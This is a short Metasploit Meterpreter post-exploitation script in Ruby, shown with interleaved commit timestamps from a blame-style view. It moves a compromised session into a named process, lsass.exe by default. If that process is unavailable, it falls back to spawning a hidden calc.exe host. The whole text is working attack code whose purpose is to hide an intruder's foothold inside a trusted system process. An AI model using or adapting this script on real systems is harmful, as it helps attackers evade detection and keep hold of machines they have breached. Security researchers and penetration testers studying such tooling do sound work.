2009-10-26 16:14:28 +01:00
|
|
|
# $Id$
|
2006-09-19 05:15:25 +02:00
|
|
|
#
|
|
|
|
# Simple example script that migrates to a specific process by name.
|
|
|
|
# This is meant as an illustration.
|
|
|
|
#
|
|
|
|
|
2009-11-04 17:35:51 +01:00
|
|
|
opts = Rex::Parser::Arguments.new(
|
|
|
|
"-h" => [ false,"Help menu." ]
|
|
|
|
)
|
|
|
|
opts.parse(args) { |opt, idx, val|
|
|
|
|
case opt
|
|
|
|
when "-h"
|
|
|
|
print_line("")
|
|
|
|
print_line("USAGE: run migrate [process name]")
|
|
|
|
print_line("EXAMPLE: run migrate explorer.exe")
|
|
|
|
print_line(opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
|
|
|
}
|
|
|
|
|
|
|
|
|
2006-09-19 05:15:25 +02:00
|
|
|
# Get the target process name
|
2008-11-14 06:18:50 +01:00
|
|
|
target = args[0] || "lsass.exe"
|
2006-09-19 05:15:25 +02:00
|
|
|
|
|
|
|
print_status("Migrating to #{target}...")
|
|
|
|
|
|
|
|
server = client.sys.process.open
|
|
|
|
|
|
|
|
print_status("Current server process: #{server.name} (#{server.pid})")
|
|
|
|
|
|
|
|
# Get the target process pid
|
|
|
|
target_pid = client.sys.process[target]
|
|
|
|
|
2009-03-29 10:14:47 +02:00
|
|
|
if not target_pid
|
|
|
|
print_error("Could not access the target process")
|
|
|
|
print_status("Spawning a calc.exe host process...")
|
2009-03-29 18:39:47 +02:00
|
|
|
calc = client.sys.process.execute('calc.exe', nil, {'Hidden' => true })
|
2009-03-29 10:14:47 +02:00
|
|
|
target_pid = calc.pid
|
2006-09-19 05:15:25 +02:00
|
|
|
end
|
|
|
|
|
|
|
|
# Do the migration
|
|
|
|
client.core.migrate(target_pid)
|
|
|
|
|
|
|
|
server = client.sys.process.open
|
|
|
|
|
2008-11-04 07:57:26 +01:00
|
|
|
print_status("New server process: #{server.name} (#{server.pid})")
|